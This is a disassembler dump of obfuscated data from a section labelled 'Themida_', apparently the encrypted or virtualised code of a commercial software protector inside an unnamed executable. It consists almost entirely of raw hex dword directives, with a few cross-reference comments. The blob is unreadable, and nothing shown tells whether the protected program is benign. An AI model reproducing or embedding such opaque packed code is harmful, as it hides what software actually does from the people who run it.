		dd 0D9B70F3Ah, 0A1CCFF81h, 850FFFFFh, 16h, 2860Fh, 0CF8A0000h
		dd 23E9h, 853A9B00h, 9920D1A7h,	0F606B6Dh, 9D8BFFBFh, 6372D85h
		dd 0FF5BE961h, 3027FFFFh, 0D2E69355h, 0AE6964A7h, 0FE8h
		dd 114F1300h, 7158A345h, 0C6B93FB5h, 64F59C5Dh,	95295EF9h
		dd 63711ADh, 5FBFC681h,	858B0000h, 6371211h, 5E8DB2Bh
		dd 3C000000h, 358CD323h, 5FC6CC80h, 0F91E0C8Bh,	8ACC181h
		dd 0BD8B1820h, 6372529h, 0F24FF181h, 8589780Fh,	6371BCDh
		dd 0F630C181h, 0C0814218h, 2FF9BE2Ch, 0FE951h, 0BE260000h
		dd 7CA9AB8Fh, 0FC6515CDh, 0D328A058h, 1E048F63h, 31D3B70Fh
		dd 37015D95h, 0B2EB8106h, 8B32B18Eh, 371E29BDh,	0AEC38106h
		dd 0B632B18Eh, 0DCFB8193h, 0FFFFFA0h, 0FFFF9785h, 0C38B66FFh
		dd 0BD83C08Bh, 6371929h, 83097500h, 371FE1BDh, 19740006h
		dd 0C08B5350h, 421B8h, 41858900h, 8D06371Bh, 39B10C9Dh
		dd 5BD3FF06h, 0E1BD8358h, 6371Fh, 53501774h, 421B8h, 41858900h
		dd 8D06371Bh, 39ADFB9Dh, 5BD3FF06h, 8BC08B58h, 3719699Dh
		dd 0B985C606h, 56063722h, 0A8B85268h, 39B5FF9Ch, 8D063723h
		dd 3A720A85h, 6AD0FF06h, 10006804h, 0B5FF0000h,	6372EF1h
		dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 0A78D8D00h, 0FF063772h
		dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h
		dd 6371071h, 0E840F00h,	8B000000h, 3710719Dh, 69858B06h
		dd 8906372Eh, 8D525103h, 37429A85h, 8BD0FF06h, 8BF18BFAh
		dd 0F3C88BD1h, 0B985C6A4h, 56063722h, 1F6D3968h, 39B5FFD4h
		dd 8D063723h, 3A720A85h, 68D0FF06h, 8000h, 0FF52006Ah
		dd 83C08BD0h, 371929BDh, 9750006h, 1FE1BD83h, 74000637h
		dd 8B535019h, 421B8C0h,	85890000h, 6372A05h, 0B1739D8Dh
		dd 0D3FF0639h, 0BD83585Bh, 6371FE1h, 50177400h,	421B853h
		dd 85890000h, 6372A05h,	0AE149D8Dh, 0D3FF0639h,	0C08B585Bh
		dd 10719D8Dh, 38B0637h,	840FC00Bh, 7, 5B8B038Bh, 0B8188904h
		dd 4B41h, 2AE9h, 2404C700h, 0
		dd 0E8h, 0ED815D00h, 63DBC5Eh, 424448Bh, 2B118589h, 0B80637h
		dd 8D000000h, 374E2B8Dh, 0B8E1FF06h, 6754h, 11E8h, 84E9E800h
		dd 1F32304Eh, 20751368h, 0D8E53E9Dh, 0BA66B142h, 0F55F6E6Eh
		dd 67B0C781h, 0D18A0000h, 0B6A325BBh, 66EB8155h, 5255B689h
		dd 59C8BF0Fh, 5E9378Bh,	0A0000000h, 4DC1C350h, 8810EE81h
		dd 0C28125C4h, 53A22BD1h, 0AEC7F681h, 666048D5h, 611075B9h
		dd 6947F681h, 74B27ACDh, 83F93789h, 0F5001EFh, 4F59CFBFh
		dd 51534F4Fh, 5830CC80h, 1EB8358h, 2A850Fh, 0E9530000h
		dd 14h,	79A96E5Bh, 0AB2A2BE0h, 0DCE77BFAh, 0DCF2C10Eh
		dd 0A0D524ABh, 1FE958h,	41C60000h, 310BE929h, 9AC1661Eh
		dd 5ED3D881h, 81E958D5h, 6FFFFFFh, 2A0A740Bh, 61CE16D4h
		dd 0E78D8D95h, 0E9063DBDh, 0Ah,	78274D91h, 84EBD571h, 8D89A5F0h
		dd 6371875h, 859B589h, 85C70637h, 6371195h, 5A5Ch, 31C18509h
		dd 85C70637h, 6370F81h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 34C35545h
		dd 2ADE16E4h, 7AD72360h, 171858Bh, 95010637h, 6372071h
		dd 0A49B5FFh, 9D890637h, 63721A1h, 129195FFh, 6A0637h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 4B80D6C3h, 937DF387h, 6AD6BF0Fh, 1995FF00h, 8B063732h
		dd 4018EBC0h, 0FDC1532Dh, 0B12F07Bh, 0A51A6700h, 94C4D614h
		dd 0F7836DE1h, 0E90A814Eh, 3Bh,	1BD8B60h, 8306370Ah, 0C93304EFh
		dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
		dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
		dd 0FFFFD382h, 8BC361FFh, 85CAFEC8h, 7AA80B29h,	0C08A4FA6h
		dd 0ABA80B2Eh, 9875EAD5h, 60A80B2Eh, 0BA8A4FA7h, 0DD57AE5Dh
		dd 888A4FA7h, 0ABA80B2Fh, 5375EAD5h, 3A80B2Ch, 0DD8A4FA4h
		dd 8DA80B2Ch, 578A4FA4h, 0ABA80B2Dh, 2575EAD5h,	0EBD9D42Fh
		dd 0C0031317h, 5295EFEAh, 0FA5590A7h, 0D121579Fh, 43B7AB66h
		dd 949ED42Fh, 0C0031317h, 5295EFF2h, 850490A7h,	0D121579Fh
		dd 43B7AB72h, 944DD42Fh, 0C0031317h, 5295EFFEh,	84B090A7h
		dd 0D121579Fh, 43B7AB4Eh, 95D6D42Fh, 0C0031317h, 5295EFCAh
		dd 844D90A7h, 0D121579Fh, 43B7AB5Ah, 96A0D42Fh,	0C0031317h
		dd 5295EFD6h, 87C390A7h, 0D121579Fh, 43B7AB52h,	9622D42Fh
		dd 0C0031317h, 5295EFDEh, 874990A7h, 0D121579Fh, 43B7ABAAh
		dd 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 78353EC0h, 0A8ED96A4h, 458A152Ah, 67A02429h,	0BAB496E3h
		dd 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 0F13AAE63h
		dd 848C222Fh, 11AB5342h, 55FFEA22h, 0ABA4245Dh,	0B9CF9C3Ah
		dd 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
		dd 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h,	0EE27BFEAh
		dd 0B60ADB2Fh, 94751317h, 0D9020112h, 7868B7A0h, 0EC79AEA4h
		dd 41AE51A1h, 0F622DC09h, 0BA8C28C8h, 0DF103773h, 0C821732Ah
		dd 694AF328h, 0FD5BEA2Ch, 508C152Bh, 0E7009881h, 0ABAE6C40h
		dd 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 7835FEC0h, 5CDDDAA4h
		dd 828668A1h, 54A8ADE7h, 0BACC152Ah, 639B6030h,	0CE529E2Ch
		dd 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 7868B7A0h, 0D79AEA4h
		dd 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h,	0BE290BA2h
		dd 43B7D568h, 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah
		dd 529F6293h, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 7868B7A0h, 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 0CE8260A1h, 116F5DDFh, 458A15D6h, 953BFDA2h,	97B91DC9h
		dd 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h
		dd 458A1523h, 862DA055h, 45869025h, 0A32851A2h,	8E4B7332h
		dd 972337AAh, 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh
		dd 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah
		dd 0B769C20Eh, 76582622h, 8C22FD62h, 458AD507h,	0AB54D1A2h
		dd 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h,	458A1FAFh
		dd 5610E0A2h, 0EF4B93E2h, 7F039191h, 38031957h,	1123305Eh
		dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h,	0F622DC08h
		dd 0BA8C28C8h, 0FEF8E173h, 0A7289FA7h, 8557579Fh, 6E20D6A0h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 0CE8260A1h, 116F5DDFh, 458A15D6h, 54AFE9A2h,	0D775152Ah
		dd 529F5407h, 0C8204526h, 694AF328h, 0F55BEA2Ch, 949BFB2Bh
		dd 2E853186h, 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h
		dd 458AE96Fh, 0FE0451A2h, 76BB87D5h, 8C235795h,	0EF491786h
		dd 0B60ADB2Fh, 94751317h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h
		dd 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h
		dd 58D5DAAAh, 457650EDh, 0F8A851A2h, 7418EA80h,	0DFAE6691h
		dd 8558B9E2h, 0F632DC08h, 0BA8C28C8h, 94103771h, 0CF2173E3h
		dd 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h
		dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h
		dd 529F6293h, 7726DDA1h, 0CE25FB63h, 43B7F788h,	0ECCE825Dh
		dd 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh,	4D48DCD6h
		dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 7732732Ah, 0D903376Bh, 7868B7B0h, 327BAEA4h,	234B9592h
		dd 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh
		dd 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h,	0FDEC152Ah
		dd 0FFCEB824h, 0A7288FA7h, 8757579Fh, 320A09Ah,	0CE25FB0Eh
		dd 43B7F788h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 784906C0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h
		dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh
		dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah
		dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h
		dd 43B7AB62h, 4B32DCF1h, 0BA8C2895h, 0A8EDD871h, 458A42C3h
		dd 58DDAEA2h, 0C88260D5h, 69160938h, 0DF07462Ch, 5295EEBDh
		dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0FBEE8FA7h
		dd 0D9FB579Fh, 78350AB0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h
		dd 3075195Fh, 2432DCAAh, 168C2894h, 0EBB7CB2Fh,	96751317h
		dd 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh
		dd 0FE800h, 0E0210000h,	69426043h, 9B79F2CCh, 3892CE09h
		dd 0CE8B665Bh, 16EE815Bh, 817DE5F6h, 65F1C3h, 8E900h, 8ADC0000h
		dd 373901F1h, 0FF3305FEh, 48BCF8Bh, 8159B23Bh, 0C72F31F0h
		dd 8870F6Dh, 60000000h,	810Fh, 81610000h, 4E5E72E8h, 0CBB70F15h
		dd 723DE881h, 10E91C41h, 46000000h, 3B25EDD8h, 0BCE2070h
		dd 0F1F7CC3Ch, 8960FDE4h, 8D0F3B04h, 12h, 0DE9h, 0C43DAD00h
		dd 0DA48FCF5h, 0E6126DF6h, 8166DC73h, 8354BFF2h, 7CB202EFh
		dd 8B664F4Fh, 0B0FF81CFh, 0FFFFF9Ah, 0FFFF8D85h, 8D64B6FFh
		dd 371DE59Dh, 1434B806h, 85890000h, 6371201h, 0E8h, 0D055800h
		dd 89000000h, 1434E903h
		db 2 dup(0)
word_5A90FA	dw 0			; DATA XREF: Themida_:0053EA34o
		dd 50Ch	dup(0)
		dd 16EB0000h, 5	dup(0)
		dd 3F80101h, 63D0000h, 0D2CE8160h, 1557AF6h, 37135D8Dh
		dd 0E9506106h, 0Dh, 30F4982Fh, 504C078h, 398761D0h, 2404890Dh
		dd 0EBCB8166h, 6A006AE6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 305BC355h, 0DE84979h
		db 3 dup(0)
byte_5AA59B	db 0BBh			; DATA XREF: Themida_:0053E72Co
		dd 8504409Ah, 4ED34501h, 0EAF50205h, 4AC98166h,	6A59ABh
		dd 0BE9h, 61DCB000h, 8FD8085Bh,	951A37A5h, 0D9D1858Dh
		dd 8166063Dh, 505DBAE3h, 489DA8Bh, 899D8924h, 6A063725h
		dd 0A5958B00h, 6A06370Ah, 0DD8D0900h, 0FF06371Ah, 370AED95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 9C1FC6DBh, 890BC63Fh, 372D518Dh,	60BE906h
		dd 0C3810000h, 1E1C9F1Bh, 0E8h,	0ED815D00h, 63DD9D6h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0ECC35646h, 73609ADBh
		dd 33D38A60h, 372F1195h, 0B5896106h, 6372E89h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0DEC35242h, 9D8B4F56h
		dd 6372A29h, 68C8BF0Fh,	0D929Eh, 2890Fh, 91B30000h, 3E243481h
		dd 8A000D9Dh, 1995FFC8h, 0F063732h, 1D89h, 178A0F00h, 0E9000000h
		dd 12h,	17367A75h, 0DC7B59C1h, 0A1728D42h, 349469FAh, 0B58D356Ah
		dd 63DD8E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0ADC35545h, 0C7DEDB30h,	67655206h, 55006A6Dh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0FFA73326h, 409266E1h, 0D18B3BCCh, 1285958Bh, 46C70637h
		dd 636E6F04h, 0C724B56Ch, 73610846h, 6A0073h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 6CE35C3h
		dd 0C5912D1Eh, 0BE8h, 76901500h, 0FE871015h, 8CA502D5h
		dd 10E8h, 35E70A00h, 7B9E0E03h,	0B3C4D39Bh, 0BE431613h
		dd 0F2816602h, 5F59FCABh, 599BD8Bh, 6A0637h, 10E9h, 0BDC5200h
		dd 0DB9D57DAh, 94751F35h, 343E0AB0h, 0E1858D84h, 0E8063DD8h
		dd 6, 0EDC6C929h, 8166BE93h, 5B0327E7h,	6800Fh,	95890000h
		dd 637177Dh, 0CA8B6690h, 0F8BA6650h, 840F90CCh,	3, 0FFDA8B66h
		dd 370D7595h, 71B58906h, 0B063730h, 14840FC0h, 8B000000h
		dd 3722E58Dh, 0B3CE8006h, 3BCE9h, 1DBD0900h, 68063730h
		dd 0AB5EB99Ch, 18860Fh,	10E80000h, 95000000h, 0AA3F9094h
		dd 0AA7EE086h, 3F6C85Fh, 8B94FC41h, 4815FD8h, 0A1479024h
		dd 53006A54h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0DF7060E1h, 9CA288CCh, 321995FFh, 6A0637h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0EB4C7C3h, 89A25589h, 3717498Dh, 0E1B58D06h,	6A063DD8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0EF23C352h, 80042D63h, 6C7C9C5h, 36343831h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4AC35646h
		dd 72EC157Ah, 9D893BAAh, 6370955h, 370446C7h, 8931342Dh
		dd 3708F595h, 65858906h, 0C7063729h, 846h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 204CE9C3h, 59F85D8Ah, 0D79BD23h, 6A0637h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C35747h, 0DE320947h
		dd 8959F66Eh, 371A89B5h, 0E1858D06h, 89063DD8h,	370515B5h
		dd 0BA669006h, 5050D6DCh, 905ACE8Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 4EC35242h, 0D4C6CEF5h, 8DF82122h
		dd 0FFCB8B20h, 370D7595h, 50006A06h, 3E8h, 0C3582000h
dword_5AA980	dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0F9A7DDB0h
					; DATA XREF: Themida_:0053D67Co
					; Themida_:0053DEB4o
		dd 0CADF3E37h, 16BA56E9h, 0B17AE28h, 61840FC0h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 1F0AC356h, 0ED0D36F0h, 0FE92548h,	0BF000000h
		dd 68C512B2h, 0EA505179h, 7960E088h, 0D1BFA499h, 0E900720Bh
		dd 1C1h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	8C35141h, 38E18018h, 4E8h, 12C00h, 90BB5000h, 8B5A1D44h
		dd 0E9042444h, 9, 2BB22E2Ah, 0A2EB8B9Ch, 0B1008B2Dh, 24448987h
		dd 0F525004h, 58585A31h, 8D5B529h, 95FF0637h, 6373219h
		dd 558D23F8h, 8D063709h, 3DD8E1B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 91B12AC3h
		dd 694606C7h, 8D8B656Ch, 63701D1h, 2969B589h, 46C70637h
		dd 6E6F6D04h, 19BD8963h, 0C7063712h, 616C0846h,	6A7373h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 123962C3h, 0E9AD28DAh, 13h, 0A9FF9FC8h, 3A265E98h, 17B47E62h
		dd 0C8CC9F5Fh, 0C7F4BE5Dh, 0C46h, 81660000h, 6A0F1ADFh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 79440BB6h, 0BD8937B5h, 63718B5h,	0D8E1858Dh
		dd 14E9063Dh, 49000000h, 0F963DB43h, 598FBC7Bh,	82346C09h
		dd 7FE295Ch, 5049A9DEh,	0CE9h, 8B17B000h, 419464A4h, 0CB95C06Fh
		dd 2404890Bh, 2D6D8D8Bh, 95FF0637h, 6370D75h, 0BFA8B66h
		dd 39840FC0h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4E44C353h, 454D8FF0h
		dd 18D0117h, 306371Bh, 3714299Dh, 27E906h, 0BD890000h
		dd 6372305h, 0FFFA93E9h, 0A840FFFh, 60000000h, 0B5895F50h
		dd 6372AB1h, 6890F61h, 29000000h, 370FD98Dh, 0A7B58D06h
		dd 6A063772h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 6481C351h, 6890FD3h, 89000000h
		dd 370B8DB5h, 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 4E6EE6C3h, 0C2BC00FAh
		dd 0E9979DFBh, 10h, 0A2EC6545h,	0F427C9D8h, 0C87F4F41h
		dd 59DD9A16h, 0C99D2357h, 59063719h, 8B66E6FFh,	8DC18BDEh
		dd 3DE0C18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 6665D00h,	4F0FB966h, 8D89AB5Dh, 6371875h
		dd 18810Fh, 10E80000h, 0BE000000h, 0A403EB8Ah, 0EDBF6B5Ch
		dd 0C3563A32h, 0B3872AAFh, 85C75F50h, 6371195h,	6E44h
		dd 20B58589h, 85C70637h, 6370F81h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 6FC35747h
		dd 0A81B18CEh, 0D9B70F56h, 2359B5FFh, 6A0637h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 710ECCC3h, 0A62B0C13h, 0FFD60993h, 37129195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 33EFD23Eh, 3729CDB5h, 0FF006A06h, 37321995h,	0EBC08B06h
		dd 523FC82Ah, 460024F8h, 13BA3BF7h, 7FE1B68Fh, 0C25946AAh
		dd 3DD62F36h, 69A28FBFh, 0FE69946Ch, 3A747h, 9974702Fh
		dd 55B48549h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 7A18FD49h
		dd 547EFD20h, 42BFFD20h, 0D61DFD20h, 130FFD20h,	0F1E5FD20h
		dd 80C2FD20h, 38A3FD20h, 649EFD20h, 55C5FD20h, 4292FD20h
		dd 0C8F7FD20h, 0C50FD20h, 0EE31FD20h, 9F12FD20h, 26DEFD20h
		dd 7A22FD20h, 259DFD20h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h
		dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h,	0ED73FD78h
		dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 5976FD7Ah
		dd 3175A75Fh, 0CB75A75Fh, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh
		dd 0BC75F8B2h, 56F0701Ah, 0A673C09Fh, 0AA94C2FFh, 0D5F0707Ch
		dd 6C73C09Fh, 0CF9502FFh, 25F0707Ch, 3573C09Fh,	6394C6FFh
		dd 93F0707Ch, 1E73C09Eh, 0F694FEFFh, 9EF0707Ch,	7B73C09Eh
		dd 4494FAFFh, 0A5F0707Ch, 0D773C099h, 1294F6FFh, 0BCF0707Ch
		dd 4273C099h, 0D894F2FFh, 0B3F0707Ch, 0F073C099h, 8194EEFFh
		dd 0C2F0707Ch, 0A673C099h, 0AA94E2FFh, 0A3F0707Ch, 6C73C099h
		dd 0CF94EAFFh, 0FEF0707Ch, 3573C099h, 6394E6FFh, 0B3F0707Ch
		dd 1E73C099h, 0F694E2FFh, 33F0707Ch, 7B73C099h,	4494D2FFh
		dd 49F0707Ch, 0D773C099h, 1294CEFFh, 8FF0707Ch,	4273C09Eh
		dd 0D894CAFFh, 93F0707Ch, 0F073C09Eh, 8194DEFFh, 0C6F0707Ch
		dd 0A673C09Eh, 0AA94DAFFh, 0F8F0707Ch, 6C73C09Fh, 0CF94D6FFh
		dd 48F0767Ch, 3573CA49h, 639485FFh, 8AF0767Ch, 1E73CA7Fh
		dd 0F69481FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 5EF917FBh
		dd 0D525FB47h, 0ADFDF53Fh, 91481C0Dh, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 11987C27h, 0A073C098h,	129503FFh
		dd 69C87D7Ch, 0CF73C09Ah, 0E4C5B409h, 0F9B54B75h, 863589BAh
		dd 819481EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD481C06h
		dd 58A48F7h, 0C6F8FB47h, 4B9D50FCh, 0CF75FD7Eh,	5E76456Fh
		dd 0BA8AFD7Ah, 91481C06h, 2B8A48F7h, 0D1F8FB47h, 228A50FCh
		dd 87BC1F23h, 819503F7h, 52DA07Ch, 0EC2CA320h, 97776D92h
		dd 0C1CD4D7Ah, 708A5779h, 0F4481C02h, 79D3ED1h,	0DA75FD78h
		dd 54CD9BC2h, 0D0DE9B59h, 0AA9485EFh, 8DE9B7Ch,	0E5779592h
		dd 0F3360B7Ah, 866E8872h, 819485EFh, 54C54D7Ch,	0BA8AAD79h
		dd 91481C02h, 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh
		dd 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h
		dd 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah
		dd 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh
		dd 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h
		dd 7F5DF70h, 0B5FF4DBAh, 130D6885h, 1F2FFB47h, 0DA51FD5Fh
		dd 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah,	0E5743592h
		dd 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh
		dd 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch
		dd 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah
		dd 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah
		dd 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h,	0D75FD7Ah
		dd 449481EFh, 0FFC0707Ch, 5D73C09Bh, 2C7F518Ah,	0EFE002D0h
		dd 873C09Bh, 0E574E592h, 0F8254D7Ah, 4B9D5779h,	548A0284h
		dd 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h,	1A8BE192h
		dd 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h
		dd 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h,	9177747Eh
		dd 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h, 0F69508FFh
		dd 10C87D7Ch, 0F373C09Ah, 0FCF8EC0Fh, 0BA481C1Dh, 5C61152Ah
		dd 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h
		dd 87DF9CCAh, 819508F7h, 0ABC87D7Ch, 2F73C09Ah,	12F8F10Fh
		dd 0CD481C1Dh, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 5D096885h
		dd 0C3F8FB47h, 294818BEh, 3D6DF9F0h, 619C4DB9h,	8E9D562Dh
		dd 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 29481C02h
		dd 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h,	279DAE7Ah
		dd 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h, 0F69485EFh
		dd 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h,	0D52F0285h
		dd 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F4481C06h
		dd 982E60F7h, 0A0F8FB47h, 4ECD3E39h, 0D075FD7Ah, 0AA9481EFh
		dd 0CEB57E7Ch, 1A8935F1h, 0CF9485EFh, 8E97577Ch, 43BE15B9h
		dd 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch,	1DB61608h
		dd 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 0CAA117FBh
		dd 0EAFCFB47h, 0BCCF7D86h, 0E573C09Bh, 0F2EC7975h, 73CDFD7Ah
		dd 4375FD7Ah, 639481E8h, 0ADFCBD7Ch, 91481CFAh,	79F835F1h
		dd 0E3481BD2h, 130D6F85h, 7FFDFB47h, 4801F3Ch, 5E75FD6Dh
		dd 0CEF57F79h, 1A35FB47h, 0F69361E0h, 0E1B67E7Ch, 4B22FEF3h
		dd 7975FD64h, 5DF57779h, 0ECF8FB47h, 29481BF0h,	2F2B5989h
		dd 0CB75FD72h, 4096F85h, 0AF6FB47h, 7185897Eh, 0BC72447Ch
		dd 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h
		dd 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h
		dd 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h
		dd 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh
		dd 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah
		dd 2F75151Ah, 162FFD7Ah, 0F6934690h, 61CF707Ch,	7973C09Bh
		dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh,	0AA9479E7h
		dd 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h
		dd 475FD7Ah, 0C98117FBh, 25F8FB47h, 0CD481CFEh,	5C7D80F1h
		dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 0BFF140F7h, 0EF46FB47h
		dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F4481CFEh, 7874C2FBh
		dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h,	0ABB69C82h
		dd 4F140F7h, 0F3CDFB47h, 0C075FD7Ah, 0BC75FD72h, 9D145789h
		dd 0EFFE3DF1h, 76E478F7h, 0D08AFB47h, 0C8E9CA8Bh, 0F5000000h
